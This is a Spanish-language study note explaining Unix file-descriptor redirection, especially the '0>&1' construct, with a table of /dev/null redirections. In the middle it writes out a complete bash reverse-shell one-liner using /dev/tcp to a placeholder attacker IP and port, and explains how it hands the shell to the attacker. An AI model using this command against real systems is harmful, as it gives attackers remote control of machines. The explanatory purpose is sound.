Vamos a profundizar en el significado de 0>&1 y cómo funciona en el contexto de redirección de flujos en la terminal.


Redirección de Flujos en la Terminal

En sistemas Unix/Linux, los flujos de entrada y salida están representados por descriptores de archivo (file descriptors). Los más comunes son:

  • 0: Representa la entrada estándar (stdin).
  • 1: Representa la salida estándar (stdout).
  • 2: Representa la salida de error estándar (stderr).

¿Qué significa 0>&1?

El comando 0>&1 redirige el descriptor de archivo 0 (stdin) al descriptor de archivo 1 (stdout). En otras palabras, está diciendo: “Toma la entrada estándar y redirígela a la salida estándar”.

¿Cómo funciona esto en la práctica?

  1. 0>: Indica que vamos a redirigir el descriptor de archivo 0 (stdin).
  2. &1: Especifica que la redirección debe apuntar al descriptor de archivo 1 (stdout).

En el contexto de una reverse shell, como en el comando:

bash -c "bash -i >& /dev/tcp/[ip_atacante]/[puerto] 0>&1"
  • >& /dev/tcp/[ip_atacante]/[puerto]: Redirige tanto stdout como stderr a la conexión TCP.
  • 0>&1: Redirige stdin a stdout, lo que significa que la entrada de la shell (lo que el atacante escribe) también se enviará a través de la conexión TCP.

Comparación con otros redireccionamientos

ComandoExplicación
<comando> 2>/dev/nullRedirige solo los errores (stderr) al “basurero” (/dev/null).
<comando> >/dev/nullRedirige solo la salida estándar (stdout) al “basurero” (/dev/null).
<comando> >/dev/null 2>&1Redirige tanto stdout como stderr al “basurero”.
<comando> &>/dev/nullForma abreviada de redirigir tanto stdout como stderr al “basurero”.
<comando> 0>&1Redirige la entrada estándar (stdin) a la salida estándar (stdout).

<comando> 2 2 hace referencia a stderr standard errors

  • <comando> 2>/dev/null Mandando todos los errores al Basurero

<comando> > > hace referencia a stdout standard out

  • <comando> >/dev/null Mandando todos los outs al Basurero

  • <comando> > /dev/null 2>&1 Mandando el output al Basurero pero tambien con 2>&1 convertis los stderr a stdout

  • <comando> &> /dev/null Mandar al Basurero tanto stderr como stdout